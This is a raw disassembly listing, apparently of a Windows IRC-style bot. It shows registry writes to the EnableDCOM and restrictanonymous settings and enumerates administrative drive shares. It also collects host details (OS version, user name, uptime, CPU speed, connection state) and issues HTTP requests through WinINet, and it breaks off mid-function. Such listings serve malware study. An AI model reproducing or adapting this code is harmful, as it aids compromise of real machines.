loc_414233: ; CODE XREF: sub_413FC4+268j
push 200h
push eax
call sub_417E80
add esp, 10h
cmp [ebp+arg_C], 0
jnz short loc_414261
push 1
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40764A
add esp, 14h
loc_414261: ; CODE XREF: sub_413FC4+281j
lea eax, [ebp+var_214]
push eax
call sub_40F927
pop ecx
loc_41426E: ; CODE XREF: sub_413FC4+244j
add esi, 28h
inc ebx
cmp ebx, [ebp+var_4]
jbe short loc_4141F9
xor edi, edi
loc_414279: ; CODE XREF: sub_413FC4+22Fj
push [ebp+var_8]
call dword_4D66F8
loc_414282: ; CODE XREF: sub_413FC4+221j
cmp [ebp+var_10], 0EAh
jz loc_41414B
lea eax, [ebp+var_214]
push offset dword_44491C
push eax
call sub_417CB0
pop ecx
pop ecx
pop ebx
jmp short loc_4142B8
; ---------------------------------------------------------------------------
loc_4142A5: ; CODE XREF: sub_413FC4+177j
lea eax, [ebp+var_214]
push offset dword_444944
push eax
call sub_417CB0
pop ecx
pop ecx
loc_4142B8: ; CODE XREF: sub_413FC4+2DFj
cmp [ebp+arg_C], edi
jnz short loc_4142D6
push edi
lea eax, [ebp+var_214]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40764A
add esp, 14h
loc_4142D6: ; CODE XREF: sub_413FC4+2F7j
lea eax, [ebp+var_214]
push eax
call sub_40F927
pop ecx
xor eax, eax
pop edi
inc eax
pop esi
leave
retn
sub_413FC4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4142EA proc near ; CODE XREF: sub_413F64:loc_413FABp
var_220 = byte ptr -220h
var_20 = byte ptr -20h
var_14 = byte ptr -14h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 220h
push esi
push edi
xor edi, edi
cmp dword_4D6734, edi
jnz loc_414418
lea eax, [ebp+var_4]
mov esi, 80000002h
push eax
push 2001Fh
push edi
push offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
push esi
call dword_4D66D8 ; RegOpenKeyExA
test eax, eax
jnz short loc_414375
mov ax, word_444974
mov word ptr [ebp+var_8+2], ax
lea eax, [ebp+var_8+2]
push eax
call sub_414EC0
pop ecx
push eax
lea eax, [ebp+var_8+2]
push eax
push 1
push edi
push offset aEnabledcom_0 ; "EnableDCOM"
push [ebp+var_4]
call dword_4D668C ; RegSetValueExA
test eax, eax
lea eax, [ebp+var_220]
jz short loc_41435D
push offset dword_444984
jmp short loc_414362
; ---------------------------------------------------------------------------
loc_41435D: ; CODE XREF: sub_4142EA+6Aj
push offset dword_4449A8
loc_414362: ; CODE XREF: sub_4142EA+71j
push eax
call sub_417CB0
pop ecx
pop ecx
push [ebp+var_4]
call dword_4D6644 ; RegCloseKey
jmp short loc_414388
; ---------------------------------------------------------------------------
loc_414375: ; CODE XREF: sub_4142EA+36j
lea eax, [ebp+var_220]
push offset dword_4449C4
push eax
call sub_417CB0
pop ecx
pop ecx
loc_414388: ; CODE XREF: sub_4142EA+89j
cmp [ebp+arg_C], edi
jnz short loc_4143A7
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40764A
add esp, 14h
loc_4143A7: ; CODE XREF: sub_4142EA+A1j
lea eax, [ebp+var_220]
push eax
call sub_40F927
pop ecx
lea eax, [ebp+var_4]
push eax
push 0F003Fh
push edi
push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
push esi
call dword_4D66D8 ; RegOpenKeyExA
test eax, eax
jnz short loc_414411
lea eax, [ebp+var_8]
push 4
push eax
push 4
push edi
push offset aRestrictanon_0 ; "restrictanonymous"
push [ebp+var_4]
mov [ebp+var_8], edi
call dword_4D668C ; RegSetValueExA
test eax, eax
lea eax, [ebp+var_220]
jz short loc_4143F9
push offset dword_444A08
jmp short loc_4143FE
; ---------------------------------------------------------------------------
loc_4143F9: ; CODE XREF: sub_4142EA+106j
push offset dword_444A48
loc_4143FE: ; CODE XREF: sub_4142EA+10Dj
push eax
call sub_417CB0
pop ecx
pop ecx
push [ebp+var_4]
call dword_4D6644 ; RegCloseKey
jmp short loc_41442B
; ---------------------------------------------------------------------------
loc_414411: ; CODE XREF: sub_4142EA+E2j
push offset dword_444A80
jmp short loc_41441D
; ---------------------------------------------------------------------------
loc_414418: ; CODE XREF: sub_4142EA+13j
push offset dword_444ABC
loc_41441D: ; CODE XREF: sub_4142EA+12Cj
lea eax, [ebp+var_220]
push eax
call sub_417CB0
pop ecx
pop ecx
loc_41442B: ; CODE XREF: sub_4142EA+125j
cmp [ebp+arg_C], edi
jnz short loc_41444A
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40764A
add esp, 14h
loc_41444A: ; CODE XREF: sub_4142EA+144j
lea eax, [ebp+var_220]
push eax
call sub_40F927
cmp dword_4D675C, edi
pop ecx
jnz loc_4145C1
xor esi, esi
loc_414465: ; CODE XREF: sub_4142EA+1ECj
push dword_4446EC[esi]
push off_4446E8[esi]
push edi
call sub_41278D
add esp, 0Ch
push off_4446E8[esi]
test eax, eax
lea eax, [ebp+var_220]
jnz short loc_414491
push offset dword_444AEC
jmp short loc_414496
; ---------------------------------------------------------------------------
loc_414491: ; CODE XREF: sub_4142EA+19Ej
push offset dword_444B0C
loc_414496: ; CODE XREF: sub_4142EA+1A5j
push 200h
push eax
call sub_417E80
add esp, 10h
cmp [ebp+arg_C], edi
jnz short loc_4144C3
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40764A
add esp, 14h
loc_4144C3: ; CODE XREF: sub_4142EA+1BDj
lea eax, [ebp+var_220]
push eax
call sub_40F927
add esi, 8
pop ecx
cmp esi, 10h
jb short loc_414465
push ebx
call dword_4E0438 ; GetLogicalDrives
mov edi, eax
mov bl, 41h
test edi, edi
jz loc_4145A9
loc_4144EB: ; CODE XREF: sub_4142EA+2B9j
mov eax, edi
and eax, 1
cmp al, 1
jnz loc_41459F
cmp bl, 41h
jz loc_41459F
movsx esi, bl
push esi
push offset aC_2 ; "%c$"
lea eax, [ebp+var_14]
push 0Ah
push eax
call sub_417E80
push esi
push offset aC_3 ; "%c:\\"
lea eax, [ebp+var_20]
push 0Ah
push eax
call sub_417E80
add esp, 20h
lea eax, [ebp+var_20]
push eax
call dword_4D66C8 ; GetDriveTypeA
cmp eax, 3
jnz short loc_41459F
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_14]
push eax
push 0
loc_414542: ; DATA XREF: .data:00447CA0o
call sub_41278D
add esp, 0Ch
test eax, eax
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_220]
jnz short loc_41455F
push offset dword_444B40
jmp short loc_414564
; ---------------------------------------------------------------------------
loc_41455F: ; CODE XREF: sub_4142EA+26Cj
push offset dword_444B60
loc_414564: ; CODE XREF: sub_4142EA+273j
push 200h
push eax
call sub_417E80
add esp, 10h
cmp [ebp+arg_C], 0
jnz short loc_414592
push 1
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40764A
add esp, 14h
loc_414592: ; CODE XREF: sub_4142EA+28Cj
lea eax, [ebp+var_220]
push eax
call sub_40F927
pop ecx
loc_41459F: ; CODE XREF: sub_4142EA+208j
; sub_4142EA+211j ...
inc bl
shr edi, 1
jnz loc_4144EB
loc_4145A9: ; CODE XREF: sub_4142EA+1FBj
lea eax, [ebp+var_220]
push offset dword_444B88
push eax
call sub_417CB0
pop ecx
xor edi, edi
pop ecx
pop ebx
jmp short loc_4145D4
; ---------------------------------------------------------------------------
loc_4145C1: ; CODE XREF: sub_4142EA+173j
lea eax, [ebp+var_220]
push offset dword_444BAC
push eax
call sub_417CB0
pop ecx
pop ecx
loc_4145D4: ; CODE XREF: sub_4142EA+2D5j
cmp [ebp+arg_C], edi
jnz short loc_4145F2
push edi
lea eax, [ebp+var_220]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40764A
add esp, 14h
loc_4145F2: ; CODE XREF: sub_4142EA+2EDj
lea eax, [ebp+var_220]
push eax
call sub_40F927
pop ecx
xor eax, eax
pop edi
inc eax
pop esi
leave
retn
sub_4142EA endp
; =============== S U B R O U T I N E =======================================
sub_414606 proc near ; CODE XREF: sub_401C87+2063p
; sub_401C87+24D8p ...
arg_0 = dword ptr 4
push esi
push edi
call dword_4E036C ; GetTickCount
xor edx, edx
mov ecx, 3E8h
div ecx
xor edx, edx
mov ecx, 15180h
mov esi, 0E10h
push 3Ch
pop edi
sub eax, [esp+8+arg_0]
div ecx
mov ecx, eax
mov eax, edx
xor edx, edx
div esi
mov esi, eax
mov eax, edx
xor edx, edx
div edi
push eax
push esi
push ecx
push offset aDdDhDm ; "%dd %dh %dm"
mov esi, offset dword_4DDF38
push 32h
push esi
call sub_417E80
add esp, 18h
mov eax, esi
pop edi
pop esi
retn
sub_414606 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 94h
lea eax, [ebp-94h]
push esi
push eax
xor esi, esi
mov dword ptr [ebp-94h], 94h
call dword_4E039C ; GetVersionExA
test eax, eax
jz short loc_4146EB
cmp dword ptr [ebp-90h], 4
jnz short loc_4146C1
cmp [ebp-8Ch], esi
jnz short loc_4146A9
cmp dword ptr [ebp-84h], 1
jnz short loc_41469B
inc esi
loc_41469B: ; CODE XREF: .data:00414698j
cmp dword ptr [ebp-84h], 2
jnz short loc_4146EB
xor esi, esi
inc esi
jmp short loc_4146EB
; ---------------------------------------------------------------------------
loc_4146A9: ; CODE XREF: .data:0041468Fj
cmp dword ptr [ebp-8Ch], 0Ah
jnz short loc_4146B6
loc_4146B2: ; CODE XREF: .data:004146D0j
push 2
jmp short loc_4146EA
; ---------------------------------------------------------------------------
loc_4146B6: ; CODE XREF: .data:004146B0j
cmp dword ptr [ebp-8Ch], 5Ah
jnz short loc_4146EB
jmp short loc_4146DB
; ---------------------------------------------------------------------------
loc_4146C1: ; CODE XREF: .data:00414687j
cmp dword ptr [ebp-90h], 5
jnz short loc_4146EB
cmp [ebp-8Ch], esi
jz short loc_4146B2
cmp dword ptr [ebp-8Ch], 1
jnz short loc_4146DF
loc_4146DB: ; CODE XREF: .data:004146BFj
push 3
jmp short loc_4146EA
; ---------------------------------------------------------------------------
loc_4146DF: ; CODE XREF: .data:004146D9j
cmp dword ptr [ebp-8Ch], 2
jnz short loc_4146EB
push 7
loc_4146EA: ; CODE XREF: .data:004146B4j
; .data:004146DDj
pop esi
loc_4146EB: ; CODE XREF: .data:0041467Ej
; .data:004146A2j ...
mov eax, esi
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
sub_4146F0 proc near ; CODE XREF: sub_4147AC+290p
push ebx
push esi
push edi
mov esi, 0F4240h
loc_4146F8: ; CODE XREF: sub_4146F0+35j
; sub_4146F0+3Bj
call sub_414B29
push 3E8h
mov edi, eax
mov ebx, edx
call dword_4E033C ; Sleep
call sub_414B29
sub eax, edi
push 0
sbb edx, ebx
push esi
push edx
push eax
call sub_41A430
mov edi, edx
mov ebx, eax
test edi, edi
ja short loc_4146F8
jb short loc_41472D
cmp ebx, esi
ja short loc_4146F8
loc_41472D: ; CODE XREF: sub_4146F0+37j
push 0
push 64h
push edi
push ebx
call sub_41A4A0
mov ecx, edx
push 64h
xor edx, edx
mov esi, eax
test ecx, ecx
pop eax
ja short loc_4147A0
jb short loc_41474C
cmp esi, 50h
jnb short loc_414751
loc_41474C: ; CODE XREF: sub_4146F0+55j
push 4Bh
xor edx, edx
pop eax
loc_414751: ; CODE XREF: sub_4146F0+5Aj
test ecx, ecx
ja short loc_4147A0
jb short loc_41475C
cmp esi, 47h
jnb short loc_414761
loc_41475C: ; CODE XREF: sub_4146F0+65j
push 42h
xor edx, edx
pop eax
loc_414761: ; CODE XREF: sub_4146F0+6Aj
test ecx, ecx
ja short loc_4147A0
jb short loc_41476C
cmp esi, 37h
jnb short loc_414771
loc_41476C: ; CODE XREF: sub_4146F0+75j
push 32h
xor edx, edx
pop eax
loc_414771: ; CODE XREF: sub_4146F0+7Aj
test ecx, ecx
ja short loc_4147A0
jb short loc_41477C
cmp esi, 26h
jnb short loc_414781
loc_41477C: ; CODE XREF: sub_4146F0+85j
push 21h
xor edx, edx
pop eax
loc_414781: ; CODE XREF: sub_4146F0+8Aj
test ecx, ecx
ja short loc_4147A0
jb short loc_41478C
cmp esi, 1Eh
jnb short loc_414791
loc_41478C: ; CODE XREF: sub_4146F0+95j
push 19h
xor edx, edx
pop eax
loc_414791: ; CODE XREF: sub_4146F0+9Aj
test ecx, ecx
ja short loc_4147A0
jb short loc_41479C
cmp esi, 0Ah
jnb short loc_4147A0
loc_41479C: ; CODE XREF: sub_4146F0+A5j
xor eax, eax
xor edx, edx
loc_4147A0: ; CODE XREF: sub_4146F0+53j
; sub_4146F0+63j ...
sub eax, esi
sbb edx, ecx
add eax, ebx
adc edx, edi
pop edi
pop esi
pop ebx
retn
sub_4146F0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4147AC proc near ; CODE XREF: sub_401C87+223Bp
var_968 = byte ptr -968h
var_7E8 = byte ptr -7E8h
var_668 = byte ptr -668h
var_5E8 = byte ptr -5E8h
var_568 = byte ptr -568h
var_4E8 = byte ptr -4E8h
var_3E4 = byte ptr -3E4h
var_2E8 = byte ptr -2E8h
var_25C = word ptr -25Ch
var_25A = byte ptr -25Ah
var_15C = byte ptr -15Ch
var_114 = byte ptr -114h
var_CC = dword ptr -0CCh
var_C8 = dword ptr -0C8h
var_C4 = dword ptr -0C4h
var_C0 = dword ptr -0C0h
var_BC = dword ptr -0BCh
var_B8 = byte ptr -0B8h
var_38 = byte ptr -38h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_18 = byte ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 968h
push ebx
push esi
lea eax, [ebp+var_CC]
push edi
push eax
mov [ebp+var_4], offset word_4DDF6A
mov [ebp+var_CC], 94h
call dword_4E039C ; GetVersionExA
xor ebx, ebx
cmp [ebp+var_C8], 4
jnz short loc_414833
cmp [ebp+var_C4], ebx
jnz short loc_41480F
cmp [ebp+var_BC], 1
jnz short loc_4147F9
mov [ebp+var_4], offset a95 ; "95"
loc_4147F9: ; CODE XREF: sub_4147AC+44j
cmp [ebp+var_BC], 2
jnz loc_4148AE
mov [ebp+var_4], offset aNt ; "NT"
jmp short loc_41487F
; ---------------------------------------------------------------------------
loc_41480F: ; CODE XREF: sub_4147AC+3Bj
cmp [ebp+var_C4], 0Ah
jnz short loc_414821
mov [ebp+var_4], offset a98 ; "98"
jmp short loc_414876
; ---------------------------------------------------------------------------
loc_414821: ; CODE XREF: sub_4147AC+6Aj
cmp [ebp+var_C4], 5Ah
jnz short loc_41486F
mov [ebp+var_4], offset aMe_0 ; "ME"
jmp short loc_414876
; ---------------------------------------------------------------------------
loc_414833: ; CODE XREF: sub_4147AC+33j
cmp [ebp+var_C8], 5
jnz short loc_41486F
cmp [ebp+var_C4], ebx
jnz short loc_41484D
mov [ebp+var_4], offset a2k ; "2K"
jmp short loc_414876
; ---------------------------------------------------------------------------
loc_41484D: ; CODE XREF: sub_4147AC+96j
cmp [ebp+var_C4], 1
jnz short loc_41485F
mov [ebp+var_4], offset aXp_2 ; "XP"
jmp short loc_414876
; ---------------------------------------------------------------------------
loc_41485F: ; CODE XREF: sub_4147AC+A8j
cmp [ebp+var_C4], 2
mov [ebp+var_4], offset a2003_0 ; "2003"
jz short loc_414876
loc_41486F: ; CODE XREF: sub_4147AC+7Cj
; sub_4147AC+8Ej
mov [ebp+var_4], offset a??? ; "???"
loc_414876: ; CODE XREF: sub_4147AC+73j
; sub_4147AC+85j ...
cmp [ebp+var_BC], 2
jnz short loc_4148AE
loc_41487F: ; CODE XREF: sub_4147AC+61j
cmp [ebp+var_B8], bl
jz short loc_4148AE
lea eax, [ebp+var_B8]
push eax
lea eax, [ebp+var_2E8]
push [ebp+var_4]
push offset aSS_6 ; "%s (%s)"
push eax
call sub_417CB0
lea eax, [ebp+var_2E8]
add esp, 10h
mov [ebp+var_4], eax
loc_4148AE: ; CODE XREF: sub_4147AC+54j
; sub_4147AC+D1j ...
mov ax, word_444C18
push 3Fh
mov [ebp+var_25C], ax
pop ecx
xor eax, eax
lea edi, [ebp+var_25A]
rep stosd
stosw
mov eax, dword_4D6548
mov [ebp+var_8], 100h
cmp eax, ebx
jz short loc_4148E7
lea ecx, [ebp+var_8]
push ecx
lea ecx, [ebp+var_25C]
push ecx
call eax ; GetUserNameA
loc_4148E7: ; CODE XREF: sub_4147AC+12Cj
push [ebp+arg_4]
call sub_408882
pop ecx
push eax
call dword_4D66A8 ; inet_addr
mov [ebp+var_C], eax
push 2
lea eax, [ebp+var_C]
push 4
push eax
call dword_4D6620 ; gethostbyaddr
cmp eax, ebx
jz short loc_414910
push dword ptr [eax]
jmp short loc_414915
; ---------------------------------------------------------------------------
loc_414910: ; CODE XREF: sub_4147AC+15Ej
push offset aCouldnTResolve ; "couldn't resolve host"
loc_414915: ; CODE XREF: sub_4147AC+162j
lea eax, [ebp+var_3E4]
push eax
call sub_417CB0
pop ecx
lea eax, [ebp+var_4E8]
pop ecx
push 104h
push eax
call dword_4E0338 ; GetSystemDirectoryA
lea eax, [ebp+var_114]
push 46h
push eax
push offset aDdMmmYyyy ; "dd:MMM:yyyy"
push ebx
mov esi, 409h
push ebx
push esi
call dword_4E03D0 ; GetDateFormatA
lea eax, [ebp+var_15C]
push 46h
push eax
push offset aHhMmSs_0 ; "HH:mm:ss"
push ebx
push ebx
push esi
call dword_4E03CC ; GetTimeFormatA
push 20h
lea eax, [ebp+var_38]
push ebx
push eax
call sub_417700
add esp, 0Ch
lea eax, [ebp+var_38]
push eax
call dword_4E043C ; GlobalMemoryStatus
push ebx
push ebx
lea eax, [ebp+var_18]
push ebx
push eax
lea eax, [ebp+var_4E8]
push eax
call sub_417F80
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_968]
push eax
call sub_411278
push 60h
mov esi, eax
pop ecx
lea edi, [ebp+var_7E8]
rep movsd
push 60h
lea esi, [ebp+var_7E8]
pop ecx
lea edi, [ebp+var_668]
rep movsd
push ebx
call sub_414606
add esp, 20h
push eax
lea eax, [ebp+var_15C]
push eax
lea eax, [ebp+var_114]
push eax
lea eax, [ebp+var_25C]
push eax
push [ebp+arg_4]
call sub_408882
pop ecx
push eax
lea eax, [ebp+var_3E4]
push eax
lea eax, [ebp+var_4E8]
push eax
lea eax, [ebp+var_5E8]
push [ebp+var_C0]
push [ebp+var_C4]
push [ebp+var_C8]
push [ebp+var_4]
push eax
lea eax, [ebp+var_568]
push eax
mov eax, [ebp+var_2C]
shr eax, 0Ah
push ebx
push eax
call sub_411169
pop ecx
pop ecx
push eax
mov eax, [ebp+var_30]
shr eax, 0Ah
push ebx
push eax
call sub_411169
pop ecx
pop ecx
push eax
call sub_4146F0
push edx
push eax
push offset dword_444C50
push 200h
push [ebp+arg_0]
call sub_417E80
mov eax, [ebp+arg_0]
add esp, 50h
pop edi
pop esi
pop ebx
leave
retn
sub_4147AC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414A60 proc near ; CODE XREF: sub_401C87+2269p
; sub_401C87+31ABp
var_8C = byte ptr -8Ch
var_C = byte ptr -0Ch
var_8 = byte ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8Ch
push esi
mov esi, 80h
push esi
lea eax, [ebp+var_8C]
push 0
push eax
call sub_417700
add esp, 0Ch
cmp dword_4D674C, 0
jnz short loc_414AD4
push 0
lea eax, [ebp+var_8C]
push esi
push eax
lea eax, [ebp+var_C]
push eax
call dword_4D652C ; InternetGetConnectedStateExA
test eax, eax
jnz short loc_414AB5
lea eax, [ebp+var_8C]
push offset dword_444D2C
push eax
call sub_417CB0
pop ecx
pop ecx
loc_414AB5: ; CODE XREF: sub_414A60+40j
test [ebp+var_C], 1
lea eax, [ebp+var_8]
jz short loc_414ACD
push offset dword_444D3C
loc_414AC3: ; CODE XREF: sub_414A60+72j
push eax
call sub_417CB0
pop ecx
pop ecx
jmp short loc_414AF6
; ---------------------------------------------------------------------------
loc_414ACD: ; CODE XREF: sub_414A60+5Cj
push offset off_444D44
jmp short loc_414AC3
; ---------------------------------------------------------------------------
loc_414AD4: ; CODE XREF: sub_414A60+28j
lea eax, [ebp+var_8]
push offset off_444D48
push eax
call sub_417CB0
lea eax, [ebp+var_8C]
push offset off_444D4C
push eax
call sub_417CB0
add esp, 10h
loc_414AF6: ; CODE XREF: sub_414A60+6Bj
push [ebp+arg_4]
push [ebp+arg_8]
call sub_408882
pop ecx
push eax
lea eax, [ebp+var_8C]
push eax
lea eax, [ebp+var_8]
push eax
push offset dword_444D50
push 200h
push [ebp+arg_0]
call sub_417E80
mov eax, [ebp+arg_0]
add esp, 1Ch
pop esi
leave
retn
sub_414A60 endp
; =============== S U B R O U T I N E =======================================
sub_414B29 proc near ; CODE XREF: sub_4146F0:loc_4146F8p
; sub_4146F0+1Cp
rdtsc
retn
sub_414B29 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 18h
lea eax, [ebp-0Ch]
push eax
mov ecx, [ebp+8]
push ecx
call sub_4337B2
mov [ebp-4], eax
cmp dword ptr [ebp-4], 0
jnz short loc_414B53
xor eax, eax
jmp loc_414C82
; ---------------------------------------------------------------------------
loc_414B53: ; CODE XREF: .data:00414B4Aj
mov edx, [ebp-4]
push edx
call sub_415090
add esp, 4
mov [ebp-10h], eax
cmp dword ptr [ebp-10h], 0
jnz short loc_414B6F
xor eax, eax
jmp loc_414C82
; ---------------------------------------------------------------------------
loc_414B6F: ; CODE XREF: .data:00414B66j
mov eax, [ebp-10h]
push eax
mov ecx, [ebp-4]
push ecx
mov edx, [ebp-0Ch]
push edx
mov eax, [ebp+8]
push eax
call sub_4337AC
test eax, eax
jnz short loc_414B9B
mov ecx, [ebp-10h]
push ecx
call sub_415C20
add esp, 4
xor eax, eax
jmp loc_414C82
; ---------------------------------------------------------------------------
loc_414B9B: ; CODE XREF: .data:00414B86j
lea edx, [ebp-14h]
push edx
lea eax, [ebp-8]
push eax
push offset dword_444D94
mov ecx, [ebp-10h]
push ecx
call sub_4337A6
test eax, eax
jz loc_414C74
mov edx, [ebp-8]
mov eax, [edx+0Ch]
shr eax, 10h
and eax, 0FFFFh
cmp eax, 0A28h
jnz loc_414C74
mov ecx, [ebp-8]
mov edx, [ecx+0Ch]
and edx, 0FFFFh
and edx, 0FFFFh
mov [ebp-18h], edx
cmp dword ptr [ebp-18h], 0A7Dh
jg short loc_414C0D
cmp dword ptr [ebp-18h], 0A7Dh
jz short loc_414C51
cmp dword ptr [ebp-18h], 884h
jz short loc_414C18
cmp dword ptr [ebp-18h], 9C9h
jz short loc_414C3E
jmp short loc_414C64
; ---------------------------------------------------------------------------
loc_414C0D: ; CODE XREF: .data:00414BEEj
cmp dword ptr [ebp-18h], 0B4Ch
jz short loc_414C2B
jmp short loc_414C64
; ---------------------------------------------------------------------------
loc_414C18: ; CODE XREF: .data:00414C00j
mov eax, [ebp-10h]
push eax
call sub_415C20
add esp, 4
mov eax, 1
jmp short loc_414C82
; ---------------------------------------------------------------------------
loc_414C2B: ; CODE XREF: .data:00414C14j
mov ecx, [ebp-10h]
push ecx
call sub_415C20
add esp, 4
mov eax, 2
jmp short loc_414C82
; ---------------------------------------------------------------------------
loc_414C3E: ; CODE XREF: .data:00414C09j
mov edx, [ebp-10h]
push edx
call sub_415C20
add esp, 4
mov eax, 3
jmp short loc_414C82
; ---------------------------------------------------------------------------
loc_414C51: ; CODE XREF: .data:00414BF7j
mov eax, [ebp-10h]
push eax
call sub_415C20
add esp, 4
mov eax, 4
jmp short loc_414C82
; ---------------------------------------------------------------------------
loc_414C64: ; CODE XREF: .data:00414C0Bj
; .data:00414C16j
mov ecx, [ebp-10h]
push ecx
call sub_415C20
add esp, 4
xor eax, eax
jmp short loc_414C82
; ---------------------------------------------------------------------------
loc_414C74: ; CODE XREF: .data:00414BB3j
; .data:00414BCCj
mov edx, [ebp-10h]
push edx
call sub_415C20
add esp, 4
xor eax, eax
loc_414C82: ; CODE XREF: .data:00414B4Ej
; .data:00414B6Aj ...
mov esp, ebp
pop ebp
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414C86 proc near ; DATA XREF: sub_401C87+3616o
var_65C = byte ptr -65Ch
var_55C = byte ptr -55Ch
var_35C = dword ptr -35Ch
var_358 = byte ptr -358h
var_2D8 = byte ptr -2D8h
var_258 = byte ptr -258h
var_1D8 = dword ptr -1D8h
var_1D4 = dword ptr -1D4h
var_1D0 = dword ptr -1D0h
var_1C8 = byte ptr -1C8h
var_148 = byte ptr -148h
var_C8 = byte ptr -0C8h
var_48 = dword ptr -48h
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = word ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 65Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 65h
mov esi, eax
pop ecx
lea edi, [ebp+var_35C]
rep movsd
xor esi, esi
mov edi, 80h
inc esi
xor ebx, ebx
mov [eax+190h], esi
push edi
lea eax, [ebp+var_148]
push ebx
push eax
mov [ebp+var_C], ebx
mov [ebp+var_4], ebx
mov [ebp+var_8], offset dword_444D98
call sub_417700
push edi
lea eax, [ebp+var_1C8]
push ebx
push eax
call sub_417700
push edi
lea eax, [ebp+var_C8]
push ebx
push eax
call sub_417700
push 100h
lea eax, [ebp+var_65C]
push ebx
push eax
call sub_417700
push 3Ch
lea eax, [ebp+var_48]
pop edi
push edi
push ebx
push eax
call sub_417700
add esp, 3Ch
lea eax, [ebp+var_48]
mov [ebp+var_48], edi
mov [ebp+var_34], esi
push eax
lea eax, [ebp+var_358]
push ebx
push eax
mov [ebp+var_28], esi
mov [ebp+var_20], esi
mov [ebp+var_18], esi
call sub_414EC0
pop ecx
push eax
lea eax, [ebp+var_358]
push eax
call dword_4D6564 ; InternetCrackUrlA
test eax, eax
jz loc_414E26
cmp [ebp+var_34], ebx
jbe short loc_414D5D
push [ebp+var_34]
lea eax, [ebp+var_148]
push [ebp+var_38]
push eax
call sub_417760
add esp, 0Ch
loc_414D5D: ; CODE XREF: sub_414C86+C0j
cmp [ebp+var_28], ebx
movzx esi, [ebp+var_30]
jbe short loc_414D7B
push [ebp+var_28]
lea eax, [ebp+var_1C8]
push [ebp+var_2C]
push eax
call sub_417760
add esp, 0Ch
loc_414D7B: ; CODE XREF: sub_414C86+DEj
cmp [ebp+var_20], ebx
jbe short loc_414D95
push [ebp+var_20]
lea eax, [ebp+var_C8]
push [ebp+var_24]
push eax
call sub_417760
add esp, 0Ch
loc_414D95: ; CODE XREF: sub_414C86+F8j
cmp [ebp+var_18], ebx
jbe short loc_414DAF
push [ebp+var_18]
lea eax, [ebp+var_65C]
push [ebp+var_1C]
push eax
call sub_417760
add esp, 0Ch
loc_414DAF: ; CODE XREF: sub_414C86+112j
push ebx
push ebx
lea eax, [ebp+var_C8]
push 3
push eax
lea eax, [ebp+var_1C8]
push eax
lea eax, [ebp+var_148]
push esi
push eax
push dword_4D6618
call dword_4D663C ; InternetConnectA
mov esi, eax
cmp esi, ebx
jz short loc_414E3C
push ebx
lea eax, [ebp+var_8]
push 200h
push eax
lea eax, [ebp+var_2D8]
push eax
lea eax, [ebp+var_65C]
push ebx
push eax
push ebx
push esi
call dword_4D6630 ; HttpOpenRequestA
cmp eax, ebx
mov [ebp+var_4], eax
jz short loc_414E43
push ebx
push ebx
push ebx
push ebx
push eax
call dword_4D65DC ; HttpSendRequestA
test eax, eax
lea eax, [ebp+var_55C]
jz short loc_414E1F
push offset dword_444D9C
jmp short loc_414E4E
; ---------------------------------------------------------------------------
loc_414E1F: ; CODE XREF: sub_414C86+190j
push offset unk_444DB8
jmp short loc_414E4E
; ---------------------------------------------------------------------------
loc_414E26: ; CODE XREF: sub_414C86+B7j
lea eax, [ebp+var_55C]
push offset dword_444DF4
push eax
call sub_417CB0
mov esi, [ebp+var_C]
jmp short loc_414E54
; ---------------------------------------------------------------------------
loc_414E3C: ; CODE XREF: sub_414C86+153j
push offset unk_444E10
jmp short loc_414E48
; ---------------------------------------------------------------------------
loc_414E43: ; CODE XREF: sub_414C86+17Bj
; DATA XREF: .data:00447CCCo
push offset unk_444E3C
loc_414E48: ; CODE XREF: sub_414C86+1BBj
lea eax, [ebp+var_55C]
loc_414E4E: ; CODE XREF: sub_414C86+197j
; sub_414C86+19Ej
push eax
call sub_417CB0
loc_414E54: ; CODE XREF: sub_414C86+1B4j
cmp [ebp+var_1D4], ebx
pop ecx
pop ecx
jnz short loc_414E81
push ebx
lea eax, [ebp+var_55C]
push [ebp+var_1D0]
push eax
lea eax, [ebp+var_258]
push eax
push [ebp+var_35C]
